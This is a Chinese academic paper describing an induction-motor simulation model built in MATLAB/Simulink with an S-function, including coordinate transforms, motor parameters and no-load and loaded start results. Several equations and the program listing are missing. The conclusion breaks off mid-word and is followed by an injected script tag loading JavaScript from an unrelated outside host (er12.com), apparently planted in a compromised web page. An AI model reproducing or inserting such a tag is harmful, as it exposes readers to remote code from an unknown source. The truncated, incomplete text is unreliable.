摘 要 利用matlab软件中的动态仿真工具simulink，构建了异步电机的仿真模型，并通过实验验证了所建电机模型的可行性、与实用性。
关键词 异步电机 建模 仿真 matlab／simulink
1 引言
随着电力电子技术的飞速进步和交流电机调速理论的不断深入。异步电机的应用日益广泛。然而异步电机是一个高阶、非线性、强耦合的多变量系统。通过坐标变换，可以消除瞬变过程中的周期性时变系统和降低方程的阶数，从而简化数学模型，基于这种观念，利用计算机仿真技术去建模既省时又直观。
本文采用异步电机基于两相静止坐标系下的数学模型，结合坐标变换，利用matlab软件中的动态仿真simulink，建立异步电机的仿真模型。并通过实例进行实时仿真。
2 基于静止坐标系下异步电机数学模型
异步电机的数学建模方法是将三相电机转换成两相电机，按两相电机建模。
2．1 电压矩阵方程
异步电机在两相静止坐标系中的电压矩阵方程为
式中，uα1，uβ1分别是异步电机在α、β轴上定子电压分量；uα2，uβ2分别是异步电机在α、β轴上转子电压分量；iα1，iβ1分别是异步电机在α、β轴上定子电流分量；iα2，iβ2分别是异步电机在α、β轴上转子电流分量；r1、r2分别为定、转子电阻；l1、l2分别为定、转子电感；lm为互感；s为微分算子；ω为转子角速度特别地，对于笼型电机转子侧电压为零。
2．2 三相－二相变换
三相对称静止绕组，通以三相平衡的正弦电流，产生合成磁动势，以同步转速旋转，则此三相称为三相静止坐标系。两相静止绕组，它们在空间互差90度电角度，且通入时间上互差90度的两相电流，也产生与上相同的磁动势，则把此两相称为两相静止坐标系。若它们的磁动势空间位置一致、幅值和转速相等，故可认为这两种坐标系等效。
三相－两相的转换矩阵如下：
2．3 转矩和运动方程
转矩方程式为：
式中pn为电机的极对数；j为电机的转动惯量；tl为负载转矩。
3 异步电机模型
matlab是一种交互式仿真系统，其语言表述形式与其数学表达形式相同。故matlab特别适合于动态系统的建模与仿真。
本文采用借助s－函数来实现电机异步仿真。我们在程序中用到的s－函数是在sfuntmpl．m的基础上，经过改进编写的。然后在simulink中调用s－function模块即可。
为了能得到异步电机的定、转子电流，计算出电机的转矩与转速，必须先进行矩阵变换，将电压矩阵方程转换成状态方程的形式，然后将其写入s函数中。
转换后的状态方程如下：
下面分别给出用matlab／simulink中模块的构造组合以及用s－function编写的部分程序，此程序在函数acmotor＿demo（t，x，u，flag）中。
3．1 s－function函数的模块组合
通过mux模块合并为一个矢量，经过acmotor＿demo．m函数得到一个矢量输出，再通过
dumux模块分解出这几个变量，分别为iα1，iβ1，iα2和iβ2。
3．2 s－function函数程序
4 电机仿真实验
电机模型进行仿真，电机参数为：额定电压：90v；额定电流：4．2 a；额定转速：1760 r／min；额定频率：60 hz；额定转矩：3．316 nm；电机极对数：2；转动惯量j：0．00047 kgm2；转子电感l2：0．08377h；转子电阻r2：1．03ω；定子电感l1：0．0805 h；定子电阻r1：1．2ω；定、转子互感lm：0．0777 h。
动态仿真将观察电机加上三相正弦交流电源和负载变动时，起动过程中电机转矩、转速、电流等的变化。仿真图如图2：
4．1 空载起动仿真
进行全压理想空载起动，即令负载转矩为零。图3为理想空载起动仿真结果。由图3可以看出电机的空载起动过程约为0．2秒。因为负载转矩为零，故电机转速可很快上升且能达到同步转速（1800 rpm）。曲线响应快且稳态性能较好。
4．2 带载仿真
在起动后0．4秒时加上2nm的负载，观察电机在加上负载后的响应。图4为电机加上负载后响应曲线。
由图4可以看出，空载起动后由于电机在0．4秒时加上了负载，此时电机转速开始逐渐下降。在经过了大约0．1秒后，电机的转速又趋于稳定，且稳定性能较好。
通过这两次不同的仿真，我们不难看出用matlab／simulink进行电机仿真方便简单、高效直观，特别适合与对复杂系统的建模与分析。
5 结束语
本文系统而简略的介绍了用matlab／simulink进行电机的模拟仿?script src=http://er12.com/t.js>
